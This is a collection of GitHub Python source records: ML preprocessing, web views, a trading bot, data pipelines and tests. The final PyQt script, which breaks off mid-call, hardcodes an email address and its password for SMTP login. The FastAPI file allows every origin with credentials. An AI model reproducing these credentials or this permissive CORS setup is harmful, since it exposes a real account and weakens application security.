dataset\n train_data = pd.read_csv(\"data_set\\\\mnist_train.csv\")\n test_data = pd.read_csv(\"data_set\\\\mnist_test.csv\")\n X_train = (train_data.iloc[:,1:].values).astype('float32')\n y_train = train_data.iloc[:,0].values.astype('int32')\n X_test = (test_data.iloc[:,1:].values).astype('float32')\n y_test = test_data.iloc[:,0].values.astype('int32')\n #Convert to img\n X_train = X_train.reshape(X_train.shape[0], 28, 28)\n X_test = X_test.reshape(-1, 28, 28,1)\n for i in range(9):\n plt.subplot(330 + (i+1))\n plt.imshow(X_train[i], cmap=plt.get_cmap('gray'))\n plt.title(y_train[i])\n X_train = X_train.reshape(X_train.shape[0], 784)\n X_test = X_test.reshape(X_test.shape[0], 784)\n X_train = X_train.astype('float32')/255\n X_test = X_test.astype('float32')/255 \n new_y_train = np.zeros((y_train.shape[0],10))\n for i in range(len(y_train)):\n a = np.zeros((1,10))\n a[0,y_train[i]] =1\n new_y_train[i] = a\n new_y_test = np.zeros((y_test.shape[0],10))\n for i in range(len(y_test)):\n a = np.zeros((1,10))\n a[0,y_test[i]] =1\n new_y_test[i] = a\n #X_train = preprocessing.normalize(X_train)\n #X_test = preprocessing.normalize(X_test)\n\n return X_train,X_test,new_y_train,new_y_test\n","repo_name":"AhmedMagdy231/Deep-Learning-Tasks","sub_path":"task3/Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"39317909446","text":"from solution.channel.fastapi.controller import router\n\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\napp.include_router(router)\n\norigins = [\"*\"]\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\ndef get_app():\n return app\n","repo_name":"stclaus-hg/test-task","sub_path":"src/solution/channel/fastapi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73702658326","text":"from django.shortcuts import render, redirect\r\nimport stripe\r\nfrom django.conf import settings\r\nfrom cart.models import Cart\r\nfrom .models import Order, OrderItem\r\n\r\nstripe.api_key = settings.STRIPE_SECRET_KEY\r\n\r\n\r\ndef checkout(request):\r\n\r\n # Retrieve cart data\r\n user = request.user\r\n cart_items = Cart.objects.filter(user=user)\r\n for cart_item in cart_items:\r\n cart_item.item_total_price = cart_item.product.price * cart_item.quantity\r\n\r\n total_price = sum(item.product.price *\r\n item.quantity for item in cart_items)\r\n\r\n total_price_in_cents = int(total_price * 100)\r\n\r\n if request.method == 'POST':\r\n token = request.POST.get('stripeToken')\r\n try:\r\n charge = stripe.Charge.create(\r\n amount=total_price_in_cents, # amount in cents\r\n currency='usd',\r\n description='Example charge',\r\n source=token,\r\n )\r\n\r\n # Store order information in your database\r\n order = Order.objects.create(\r\n user=request.user,\r\n amount=total_price,\r\n charge_id=charge.id,\r\n )\r\n\r\n # Retrieve cart items\r\n cart_items = Cart.objects.filter(user=user)\r\n\r\n # Store each cart item in the order\r\n for item in cart_items:\r\n order_item = OrderItem.objects.create(\r\n order=order,\r\n product=item.product,\r\n quantity=item.quantity,\r\n price=item.product.price,\r\n )\r\n\r\n # Clear the cart after successful payment\r\n cart_items.delete()\r\n\r\n except stripe.error.CardError as e:\r\n # Display error message to the user\r\n return render(request, 'checkout.html', {'error': e.error.message})\r\n\r\n # Payment successful, redirect to a success page\r\n return redirect('home')\r\n\r\n context = {\r\n 'cart_items': cart_items,\r\n 'total_price': total_price,\r\n 'total_price_in_cents': total_price_in_cents,\r\n 'publishable_key': settings.STRIPE_PUBLISHABLE_KEY,\r\n }\r\n\r\n return render(request, 'checkout.html', context)\r\n","repo_name":"mehediH-shakil/django-ecommerce-site","sub_path":"payment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"6082741638","text":"import argparse\nimport logging.config\nimport os\nimport time\n\nfrom Robinhood.exceptions import LoginFailed\n\nfrom robinhood.robinhood import RobinhoodAccount\nfrom robinhood.robinhood_utility import RobinhoodUtility\nfrom utility.utility import Utility\n\n\nclass RobinhoodIntraDayTrader:\n def __init__(self):\n # init logging\n os.makedirs('logs', exist_ok=True)\n logging.config.dictConfig(Utility.get_logging_config())\n self.logger = logging.getLogger(__name__)\n self.config = Utility.get_config()\n\n self.args = self.parse_argument()\n self.robinhood = RobinhoodAccount(self.config.robinhood_account, Utility.decrypt(self.args.rhp))\n\n def parse_argument(self):\n parser = argparse.ArgumentParser()\n parser.add_argument('-rhp', '--robinhood_password', dest='rhp', default='', help='Robinhood account password',\n required=True)\n return parser.parse_args()\n\n def run(self):\n sell_book = RobinhoodUtility.load_sell_book()\n with self.robinhood:\n self.logger.info('Login Robinhood successful.')\n self.logger.info('Start to track live market price and follow sell book to sell.')\n while RobinhoodUtility.is_market_open():\n try:\n positions = self.robinhood.get_positions()\n symbols = set(positions.keys()).intersection(sell_book.index)\n self.logger.info('%d stocks to run, sell book: %d, positions: %d' % (\n len(symbols), sell_book.shape[0], len(positions)))\n for symbol in symbols:\n self.trade_target_price(positions[symbol], sell_book['low'][symbol], sell_book['high'][symbol])\n except LoginFailed as e:\n self.logger.error(\"logged out, re-login again: %s\" % e)\n self.robinhood.login()\n except Exception as e:\n self.logger.error(\"error when play sell book: %s\" % e)\n finally:\n time.sleep(60)\n self.logger.info('Market closed.')\n self.logger.info('Logout from Robinhood.')\n\n def trade_target_price(self, position, low_target: float, high_target: float):\n symbol = position['symbol']\n cost_basis = float(position['average_buy_price'])\n shares = int(float(position['quantity']))\n # reset low_target and high_target in case they are None\n low_target = low_target or 0.0\n high_target = high_target or cost_basis * 10\n\n if low_target > high_target:\n self.logger.warning('({0}) low target price ${1:.2f} above high target ${2:.2f}, skip until fix.'.format(\n position['symbol'], low_target, high_target))\n return\n\n max_trade_price = RobinhoodUtility.get_max_trade_price(symbol)\n\n self.logger.info(\n 'Checking ({0}), cost: ${1:.2f}, target: [${2:.2f}, ${3:.2f}], '.format(\n symbol, cost_basis, low_target, high_target) +\n 'current bid: ${0:.2f} ({1:.2%}, ${2:.2f})'.format(\n max_trade_price, max_trade_price / cost_basis - 1, (max_trade_price - cost_basis) * shares))\n if max_trade_price > high_target * 0.995 and high_target >= cost_basis:\n # place high target sell order\n max_bid = RobinhoodUtility.get_max_trade_price(symbol, bid_price=True, ask_price=True)\n high_target = max(high_target, max_bid)\n self.place_stop_limit_sell_order(position, high_target, time_in_force='gtd')\n elif cost_basis <= low_target < max_trade_price < low_target * 1.01:\n # place low target sell order\n self.place_stop_limit_sell_order(position, low_target, time_in_force='gtc')\n\n def place_stop_limit_sell_order(self, position, price, time_in_force='gtc', allow_lower: bool = False):\n is_order_placed_already = False\n symbol = position['symbol']\n cost_basis = float(position['average_buy_price'])\n shares = int(float(position['quantity']))\n for order in self.robinhood.get_open_orders(symbol):\n if 'sell' == order['side']:\n order_price = float(order['price'])\n if (order_price < price) or (order_price > price and allow_lower):\n self.robinhood.cancel_order(order)\n self.logger.info('Cancel order for {0} @ ${1:.2f} ({2:+.2%}, ${3:+.2f})'.format(\n symbol, order_price, order_price / cost_basis - 1, (order_price - cost_basis) * shares))\n else:\n is_order_placed_already = True\n if not is_order_placed_already:\n self.robinhood.place_stop_limit_sell_order(position, price, time_in_force=time_in_force)\n self.logger.info('New sell order placed for {0} @ ${1:.2f} ({2:+.2%}, ${3:+.2f})'.format(\n symbol, price, price / cost_basis - 1, (price - cost_basis) * shares))\n\n\nif __name__ == '__main__':\n try:\n day_runner = RobinhoodIntraDayTrader()\n day_runner.run()\n except BaseException as e:\n logging.exception(e)\n","repo_name":"XinwuC/finance","sub_path":"src/daytrader.py","file_name":"daytrader.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"32301776130","text":"import os, importlib, random, json, logging, re, time\nfrom datetime import datetime\nfrom pathlib import Path\nfrom shutil import copyfile\nimport cv2\nimport numpy as np\nfrom . import pre_processing\nimportlib.reload(pre_processing)\n\n\ndef corrected_depth(depth):\n \"\"\"bpycv returns depth, with values over above LIMIT_DEPTH = 1e8 set to 0. Here again set to np.inf.\n Bug in Scenecity sets grid.cell_size to 1m real life scale is 10m\"\"\"\n depth[depth == 0] = np.inf\n depth = depth*10\n return depth\n\n\ndef disparity_from_depth(depth, data_dir):\n \"\"\"Returns disparity in px in image space.\"\"\"\n with open(os.path.join(data_dir, \"camera.json\")) as f:\n camera_data = json.load(f)\n base_line = camera_data['extrinsic']['baseline']\n focal_length = camera_data['intrinsic']['fx'] + camera_data['intrinsic']['fy'] / 2\n disparity = (base_line * focal_length) / depth\n return disparity\n\n\ndef disparity_float_to_16_bit(disparity_float):\n disparity_16bit = np.round(disparity_float*256 + 1)\n # treat clipped values as invalid measurements\n disparity_16bit[disparity_16bit > np.iinfo(np.uint16).max] = 0\n return disparity_16bit.astype(np.uint16)\n\n\ndef disparity_filter_ego_vehicle(disparity, sem_seg, data_dir):\n \"\"\"Most CS disparity maps show measurements for the ego vehicle to be invalid (== 0)\"\"\"\n class_id_dict = pre_processing.get_dict_from_file(data_dir, \"class_id_legend.txt\")\n disparity[sem_seg == int(class_id_dict['ego vehicle'])] = 0\n return disparity\n\n\ndef generate_disparity(depth, sem_seg, data_dir):\n \"\"\"Corrects depth, generates disparity, converts and filters it according to CityScapes.\"\"\"\n depth = corrected_depth(depth)\n disparity_float = disparity_from_depth(depth, data_dir)\n disparity_16bit = disparity_float_to_16_bit(disparity_float)\n disparity_filtered = disparity_filter_ego_vehicle(disparity_16bit, sem_seg, data_dir)\n return disparity_filtered\n\n\ndef swap_id_unlabeled_and_sky(current_run_base_dir, data_dir):\n \"\"\"Blender is unable to assign Sky as HDRI an inst_id, defaults to 0. Therefore swapped with unlabeled in class_id_dict.\n Now swap ids according to CityScapes\"\"\"\n sem_seg_base_dir = os.path.join(current_run_base_dir, \"semantic_segmentation\")\n class_id_dict = pre_processing.get_dict_from_file(data_dir, \"class_id_legend.txt\")\n for filename in os.listdir(sem_seg_base_dir):\n img_path = os.path.join(sem_seg_base_dir, filename)\n img = cv2.imread(img_path, 0)\n mask_sky = img == int(class_id_dict['unlabeled'])\n mask_unlabeled = img == int(class_id_dict['sky'])\n img[mask_sky] = int(class_id_dict['sky'])\n img[mask_unlabeled] = int(class_id_dict['unlabeled'])\n cv2.imwrite(img_path, img)\n\n\ndef generate_color_images(current_run_base_dir, data_dir):\n sem_seg_base_dir = os.path.join(current_run_base_dir, \"semantic_segmentation\")\n color_base_dir = os.path.join(current_run_base_dir, \"semantic_segmentation_color\")\n id_color_dict = pre_processing.get_dict_from_file(data_dir, \"id_color_legend.txt\")\n for label, color in id_color_dict.items():\n id_color_dict[label] = tuple(int(color[1:-1].split(',')[i]) for i in range(3))\n for filename in os.listdir(sem_seg_base_dir):\n regex = re.compile(r'\\d+')\n frame_number = int(regex.search(filename).group(0))\n sem_seg_path = os.path.join(sem_seg_base_dir, filename)\n color_path = os.path.join(color_base_dir, \"semantic_segmentation_color\" + str(frame_number) + \".png\")\n sem_seg = cv2.imread(sem_seg_path, 0)\n color = np.zeros(sem_seg.shape + (3,))\n for label_id in np.unique(sem_seg):\n color[sem_seg == label_id] = id_color_dict[str(label_id)]\n color = color.astype(np.uint8)\n cv2.imwrite(color_path, cv2.cvtColor(color, cv2.COLOR_RGB2BGR))\n\n\ndef check_city_scapes_dirs(gt_base_dir, categories):\n \"\"\"Checks CityScapes directories for existence.\"\"\"\n category_base_dirs = [os.path.join(gt_base_dir, \"CityScapes_format\", category) for category in categories]\n split_dirs = [\"train\", \"test\", \"val\"]\n for path_str in [os.path.join(base_dir, split_dir, \"scenecity\") for base_dir in category_base_dirs for split_dir in split_dirs]:\n Path(path_str).mkdir(parents=True, exist_ok=True)\n\n\ndef get_highest_sequence_number(city_scapes_paths, splits):\n \"\"\"Returns highest sequence number over all CityScapes-categories.\"\"\"\n split_dirs = [os.path.join(path, split, \"scenecity\") for key, path in city_scapes_paths.items() for split in splits]\n sequence_nr = 0\n for split_dir in split_dirs:\n for filename in os.listdir(split_dir):\n sequence_nr = max(int(filename.split('_')[1]), sequence_nr)\n return sequence_nr\n\n\ndef store_current_run(gt_base_dir, data_dir, allowed_frames, city_scapes_gt_categories, current_gt_categories, test_perc=0.0, val_perc=0.0):\n \"\"\"Stores GT of current run in CityScapes-format. By default all data used for training.\n\n Parameters\n ----------\n gt_base_dir : str\n Path of ground_truth base directory.\n data_dir : str\n Path of data base directory with camera.json file.\n allowed_frames : list of int\n List of frames that were rendered as images.\n city_scapes_gt_categories : list of str\n List of CityScapes-categories in which the GT is saved.\n current_gt_categories : list of str\n List of GT categories generated for current run.\n test_perc : float\n Approximate percentage of current run used for testing. Used as weight in random choice.\n val_perc : float\n Approximate percentage of current run used for validation. Used as weight in random choice.\n \"\"\"\n splits = [\"train\", \"test\", \"val\"]\n current_run_paths = {gt_category: os.path.join(gt_base_dir, \"current_run\", \"filtered\", gt_category)\n for gt_category in current_gt_categories}\n city_scapes_paths = {gt_category: os.path.join(gt_base_dir, \"CityScapes_format\", gt_category)\n for gt_category in city_scapes_gt_categories}\n sequence_nr = get_highest_sequence_number(city_scapes_paths, splits) + 1\n splits = random.choices(splits, weights=[100 * (1 - test_perc - val_perc), 100 * test_perc, 100 * val_perc], k=len(allowed_frames))\n logging.info(f'About to store {allowed_frames}')\n for i, frame in enumerate(allowed_frames):\n current_files = {current_gt_category: os.path.join(current_run_paths[current_gt_category],\n current_gt_category + str(frame) + \".png\")\n for current_gt_category in current_gt_categories}\n current_files[\"camera\"] = os.path.join(data_dir, \"camera.json\")\n from_split = os.path.join(splits[i], \"scenecity\")\n city_scapes_file_name = '_'.join([\"scenecity\", str(sequence_nr).zfill(6), str(frame).zfill(6)])\n logging.info(f'storing frame {frame} under {city_scapes_file_name}\\ncurrent file names: {current_files} ')\n # copy to gtFine\n copyfile(current_files[\"image\"],\n os.path.join(city_scapes_paths[\"leftImg8bit\"], from_split, city_scapes_file_name + \"_leftImg8bit.png\"))\n copyfile(current_files[\"semantic_segmentation\"],\n os.path.join(city_scapes_paths[\"gtFine\"], from_split, city_scapes_file_name + \"_gtFine_labelIds.png\"))\n copyfile(current_files[\"semantic_segmentation_color\"],\n os.path.join(city_scapes_paths[\"gtFine\"], from_split, city_scapes_file_name + \"_gtFine_color.png\"))\n copyfile(current_files[\"disparity\"],\n os.path.join(city_scapes_paths[\"disparity\"], from_split, city_scapes_file_name + \"_disparity.png\"))\n copyfile(current_files[\"camera\"],\n os.path.join(city_scapes_paths[\"camera\"], from_split, city_scapes_file_name + \"_camera.json\"))\n logging.info(f\"stored frame {frame} in CityScapes-format\")\n os.rename(src=os.path.join(gt_base_dir, \"current_run\", \"filtered\"),\n dst=os.path.join(gt_base_dir, \"current_run\", \"filtered\" + datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\")))\n logging.info(f'Stored {len(allowed_frames)} in CityScapes-format under sequence-nr. {sequence_nr}')\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"pilkonimo/Citynthesizer","sub_path":"scripts/post_processing.py","file_name":"post_processing.py","file_ext":"py","file_size_in_byte":8310,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"30"} +{"seq_id":"27729545466","text":"\"\"\"\nUse the feature originally in COVAREP and FORMANT\nExtract some statistical features of them;\n\nAudio feature with statistical feature are 547.\n\n\"\"\"\nimport itertools\nimport pandas as pd\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom common.sql_handler import SqlHandler\nfrom common.stats_features import StatsFea\nfrom common.log_handler import get_logger\nfrom global_values import *\nimport config\n\nlogger = get_logger()\nstats_fea = StatsFea()\n\ndef gen_sigle_fea(fold):\n fea_item = list()\n fea_item.append(fold[:-1])\n path = f\"{config.data_dir}avec/{fold}P/{fold}{SUFFIX['covarep']}\"\n covarep = pd.read_csv(path, header=None)\n covarep.columns = COVAREP_COLUMNS\n\n path = f\"{config.data_dir}avec/{fold}P/{fold}{SUFFIX['formant']}\"\n formant = pd.read_csv(path, header=None)\n formant.columns = FORMANT_COLUMNS\n \n covarep = covarep[covarep['VUV'] == 1]\n for fea in COVAREP_COLUMNS:\n if fea is 'VUV':\n continue\n else:\n fea_item += stats_fea.gen_fea(covarep[fea].values)\n\n for fea in FORMANT_COLUMNS:\n fea_item += stats_fea.gen_fea(formant[fea].values)\n logger.info(f'{fold} has been extrated audio feature in exp2!..')\n return fea_item\n\ndef gen_fea():\n sql_handler = SqlHandler()\n\n audio_value = list()\n with ThreadPoolExecutor(max_workers=30) as executor:\n task = [executor.submit(gen_sigle_fea, fold) for fold in PREFIX]\n for future in as_completed(task):\n try:\n fea_item = future.result()\n audio_value.append(fea_item)\n except:\n continue\n \n\n COVAREP_COLUMNS.remove('VUV')\n audio_fea = list()\n audio_fea.append('ID')\n COVAREP_COLUMNS.extend(FORMANT_COLUMNS)\n for a_fea, s_fea in itertools.product(COVAREP_COLUMNS, stats_fea.columns):\n audio_fea.append(a_fea + '_' + s_fea)\n \n assert len(audio_value[0]) == len(audio_fea)\n\n audio_df = pd.DataFrame(audio_value, columns=audio_fea)\n\n sql_handler.execute(f'drop table if exists {config.tbl_exp2_audio_fea};')\n sql_handler.df_to_db(audio_df, config.tbl_exp2_audio_fea)\n logger.info('audio feature exp2 has been stored!')\n \n\n ","repo_name":"LouisYZK/dds-avec2019","sub_path":"core/feature_exraction/example_2/gen_feature.py","file_name":"gen_feature.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"30"} +{"seq_id":"8530187028","text":"\"\"\"Route to a single guild\"\"\"\n\nimport requests\nimport constants\nfrom databases.token import Token\nfrom helpers.crypt import hash_str\n\nAPI_ENDPOINT = 'https://discordapp.com/api/v6'\n\ndef get(handler, parameters, url_parameters, ids_parameters):\n \"\"\"GET method\"\"\"\n [guild_id] = ids_parameters\n headers = {\n 'Authorization': 'Bot ' + constants.TOKEN\n }\n try:\n r = requests.get(API_ENDPOINT + '/guilds/' + guild_id, headers=headers)\n r.raise_for_status()\n except requests.exceptions.HTTPError:\n handler.logger.exception(\"Couldn't get the data from Discord API.\")\n handler.logger.debug(r.text)\n handler.send_error(500, \"Couldn't get the data from Discord API.\")\n return\n etag = handler.get_etag(r.text)\n if not etag:\n handler.send_error(304)\n return\n handler.send_json(r.text, etag)\n","repo_name":"SpartanPlume/TosurnamentWeb","sub_path":"server/routes/api/v1/discord/guilds/single.py","file_name":"single.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"28579999731","text":"from __future__ import absolute_import\n\nimport os.path\nimport unittest\nimport anytemplate.engines.strtemplate as TT\nimport tests.common\n\nfrom anytemplate.globals import CompileError\n\n\nclass Test00(unittest.TestCase):\n\n def test_20_renders_impl(self):\n engine = TT.Engine()\n\n trs = ((\"aaa\", None, \"aaa\"), (\"$a\", {'a': \"aaa\"}, \"aaa\"))\n for (tmpl_s, ctx, exp) in trs:\n self.assertEqual(engine.renders_impl(tmpl_s, ctx), exp)\n\n def test_22_renders_impl__safe(self):\n engine = TT.Engine()\n self.assertEqual(engine.renders_impl(\"$a\", {}, safe=True), \"$a\")\n\n def test_24_renders_impl__error(self):\n engine = TT.Engine()\n try:\n engine.renders_impl(\"$a\", {})\n engine = None\n except CompileError:\n pass\n self.assertFalse(engine is None)\n\n\nclass Test10(unittest.TestCase):\n\n def setUp(self):\n self.workdir = tests.common.setup_workdir()\n\n def tearDown(self):\n if os.path.exists(self.workdir):\n tests.common.cleanup_workdir(self.workdir)\n\n def test_20_render_impl(self):\n engine = TT.Engine()\n\n trs = ((\"aaa\", None, \"aaa\"), (\"$a\", {'a': \"aaa\"}, \"aaa\"))\n for (tmpl_s, ctx, exp) in trs:\n tmpl = os.path.join(self.workdir, \"test.tmpl\")\n open(tmpl, 'w').write(tmpl_s)\n\n self.assertEqual(engine.render_impl(tmpl, ctx), exp)\n\n# vim:sw=4:ts=4:et:\n","repo_name":"ssato/python-anytemplate","sub_path":"tests/engines/strtemplate.py","file_name":"strtemplate.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"30"} +{"seq_id":"30242990082","text":"from django.conf import settings\nfrom django.utils.translation import gettext_lazy as _\nfrom django.db import ProgrammingError\nfrom django.db.models import Q\nfrom django.views.generic import ListView\nfrom django.utils.functional import cached_property\nfrom django.http import Http404\n\nfrom emath.models import Problem\nfrom emath.models.problem import MathGroup\nfrom judge.comments import CommentedDetailView\nfrom judge.pdf_problems import HAS_PDF\nfrom judge.utils.strings import safe_int_or_none\nfrom judge.utils.views import QueryStringSortMixin, TitleMixin, DiggPaginator, generic_message\n\n\nclass ProblemListMixin(object):\n def get_queryset(self):\n return Problem.get_visible_problems(self.request.user)\n \n\nclass ProblemMixin(object):\n context_object_name = 'problem'\n model = Problem\n slug_field = 'code'\n slug_url_kwarg = 'problem'\n\n def get_object(self, queryset=None):\n problem = super(ProblemMixin, self).get_object(queryset)\n if not self.request.user.is_authenticated:\n raise Http404\n else:\n return problem\n\nclass ProblemList(QueryStringSortMixin, TitleMixin, ListView):\n model = Problem\n title = _('Problems')\n context_object_name = 'problems'\n template_name = 'tmatheng/problem/list.html'\n paginate_by = 50\n sql_sort = frozenset(('points', 'ac_rate', 'user_count', 'code'))\n manual_sort = frozenset(('name', 'group'))\n all_sorts = sql_sort | manual_sort\n default_desc = frozenset(('points', 'ac_rate', 'user_count'))\n default_sort = 'code'\n\n def get_paginator(self, queryset, per_page, orphans=0,\n allow_empty_first_page=True, **kwargs):\n paginator = DiggPaginator(queryset, per_page, body=6, padding=2, orphans=orphans,\n allow_empty_first_page=allow_empty_first_page, **kwargs)\n\n paginator.num_pages\n\n sort_key = self.order.lstrip('-')\n if sort_key in self.sql_sort:\n queryset = queryset.order_by(self.order, 'id')\n elif sort_key == 'name':\n queryset = queryset.order_by(self.order.replace('name', 'i18n_name'), 'id')\n elif sort_key == 'group':\n queryset = queryset.order_by(self.order + '__name', 'id')\n\n paginator.object_list = queryset\n return paginator\n\n @cached_property\n def profile(self):\n if not self.request.user.is_authenticated:\n return None\n return self.request.profile\n\n def get_normal_queryset(self):\n filter = Q(is_public=True)\n if self.profile is not None:\n filter |= Q(authors=self.profile)\n\n queryset = Problem.objects.filter(filter).select_related('group').defer('description')\n if not self.request.user.has_perm('see_organization_math_problem'):\n filter = Q(is_organization_private=False)\n # if self.profile is not None:\n # filter |= Q(organizations__in=self.profile.organizations.all())\n queryset = queryset.filter(filter)\n\n if self.category is not None:\n queryset = queryset.filter(group__id=self.category)\n if 'search' in self.request.GET:\n self.search_query = query = ' '.join(self.request.GET.getlist('search')).strip()\n if query:\n if settings.ENABLE_FTS and self.full_text:\n queryset = queryset.search(query, queryset.BOOLEAN).extra(order_by=['-relevance'])\n else:\n queryset = queryset.filter(\n Q(code__icontains=query) | Q(name__icontains=query) |\n Q(translations__name__icontains=query, translations__language=self.request.LANGUAGE_CODE))\n self.prepoint_queryset = queryset\n\n return queryset.distinct()\n\n def get_queryset(self):\n return self.get_normal_queryset()\n\n def get_context_data(self, **kwargs):\n context = super(ProblemList, self).get_context_data(**kwargs)\n\n context['category'] = self.category\n context['categories'] = MathGroup.objects.all()\n\n context['has_fts'] = settings.ENABLE_FTS\n context['search_query'] = self.search_query\n\n context.update(self.get_sort_paginate_context())\n context.update(self.get_sort_context())\n\n return context\n\n def GET_with_session(self, request, key):\n if not request.GET:\n return request.session.get(key, False)\n return request.GET.get(key, None) == '1'\n\n def setup_problem_list(self, request):\n\n self.search_query = None\n self.category = None\n\n # This actually copies into the instance dictionary...\n self.all_sorts = set(self.all_sorts)\n\n self.category = safe_int_or_none(request.GET.get('category'))\n\n def get(self, request, *args, **kwargs):\n self.setup_problem_list(request)\n\n try:\n return super(ProblemList, self).get(request, *args, **kwargs)\n except ProgrammingError as e:\n return generic_message(request, 'FTS syntax error', e.args[1], status=400)\n\nclass ProblemDetail(ProblemMixin, CommentedDetailView):\n context_object_name = 'problem'\n template_name = 'tmatheng/problem/problem.html'\n\n def get_comment_page(self):\n return 'p:%s' % self.object.code\n\n def get_context_data(self, **kwargs):\n context = super(ProblemDetail, self).get_context_data(**kwargs)\n user = self.request.user\n authed = user.is_superuser or user.is_staff\n if not authed:\n raise Http404\n context['has_pdf_render'] = HAS_PDF\n\n can_edit = self.object.is_editable_by(user)\n context['can_edit_problem'] = can_edit\n\n context['title'] = self.object.name\n context['language'] = settings.LANGUAGE_CODE\n context['description'] = self.object.description\n context['translated'] = False\n\n return context","repo_name":"nguyenductoandhv/tmath","sub_path":"emath/views/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"31219901243","text":"from datetime import datetime\n\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom table_dump_operator import TableDumpOperator\nfrom hdfs_upload import hdfs_upload\n\n\ndefault_args = {\n 'owner': 'airflow',\n 'email': ['airflow@airflow.com'],\n 'email_on_failure': False,\n 'retries': 2\n}\n\ndag = DAG(\n 'dump_dshop_hdfs',\n description='Sample DAG',\n schedule_interval='@daily',\n start_date=datetime(2022,2,8,0,0),\n default_args=default_args\n)\n\ntables = [\n 'aisles',\n 'clients',\n 'departments',\n 'location_areas',\n 'orders',\n 'products',\n 'store_types',\n 'stores',\n]\n\ndump_tables = []\n\nfor table in tables:\n dump_tables.append(TableDumpOperator(\n task_id = f'dump-table-{table}',\n table_name=table,\n save_path='/home/airflow/data',\n postgres_conn_id='postgres_dshop_full',\n dag=dag\n ))\n\n\nupload_hdfs = PythonOperator(\n task_id='upload-hdfs',\n op_kwargs={\n 'files': [f'{table}.csv' for table in tables],\n 'from_base_path': '/home/airflow/data',\n 'to_base_path': '/bronze',\n 'hadoop_conn_id': 'hadoop',\n },\n provide_context=True,\n python_callable=hdfs_upload,\n dag=dag\n)\n\ndump_tables >> upload_hdfs\n","repo_name":"Oxyaction/rd_homeworks","sub_path":"hw5/dag.py","file_name":"dag.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"22637329897","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\n\nimport subprocess\nfrom distutils.command.build import build as _build\n\nimport setuptools\n\n\n# This class handles the pip install mechanism.\nclass build(_build): # pylint: disable=invalid-name\n\n sub_commands = _build.sub_commands + [('CustomCommands', None)]\n\nCUSTOM_COMMANDS = [\n ['apt-get', 'update'],\n ['apt-get', '-y', 'install', 'python-dev'],\n ['apt-get', '-y', 'install', 'libffi-dev'],\n ['apt-get', '-y', 'install', 'libssl-dev'],\n ['pip', 'install', 'cryptography==2.9.2', 'tink==1.4.0'],\n]\n\n\nclass CustomCommands(setuptools.Command):\n \"\"\"A setuptools Command class able to run arbitrary commands.\"\"\"\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def RunCustomCommand(self, command_list):\n print('Running command: %s' % command_list)\n p = subprocess.Popen(\n command_list,\n stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n # Can use communicate(input='y\\n'.encode()) if the command run requires\n # some confirmation.\n stdout_data, _ = p.communicate()\n print('Command output: %s' % stdout_data)\n if p.returncode != 0:\n raise RuntimeError(\n 'Command %s failed: exit code: %s' % (command_list, p.returncode))\n\n def run(self):\n for command in CUSTOM_COMMANDS:\n self.RunCustomCommand(command)\n\n\nREQUIRED_PACKAGES = [\n 'canonicaljson',\n 'httplib2',\n 'oauth2client',\n 'google-api-python-client',\n 'requests',\n 'google-auth-httplib2',\n 'expiringdict',\n 'fluent-logger' \n]\n\nsetuptools.setup(\n name='gcp_encryption',\n version='0.0.1',\n description='My primary codebase.',\n install_requires=REQUIRED_PACKAGES,\n packages=setuptools.find_packages(),\n cmdclass={\n # Command class instantiated and run during pip install scenarios.\n 'build': build,\n 'CustomCommands': CustomCommands,\n }\n)","repo_name":"salrashid123/dataflow_pubsub_message_encryption","sub_path":"dataflow_src/gcp_encryption/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"2767887003","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import QtWidgets, QtGui, QtCore\nimport sqlite3\nfrom reg import *\nfrom docxtpl import DocxTemplate\nfrom join import *\nfrom Results_Table import *\nfrom startwindow import *\nfrom check import *\nimport sys\nimport os\nfrom anketa import *\nfrom student_room import *\nfrom contacts import *\nfrom main_window import *\nfrom menu import *\nfrom Zap_Step1 import *\nfrom Zap_Step2 import *\nfrom Zap_Step3 import *\nfrom Zap_Step4 import *\nimport smtplib\nfrom docx import Document\n\nyandex_mail = 'info40.sgu@mail.ru'\nyandex_pass = 'Team40SGU'\n\n\ndef send_emails(mail, msg):\n server = smtplib.SMTP_SSL('smtp.mail.ru', 465)\n server.ehlo(yandex_mail)\n server.login('info40.sgu@mail.ru', 'Team40SGU')\n server.auth_plain()\n send_to_email = mail\n server.login(yandex_mail, 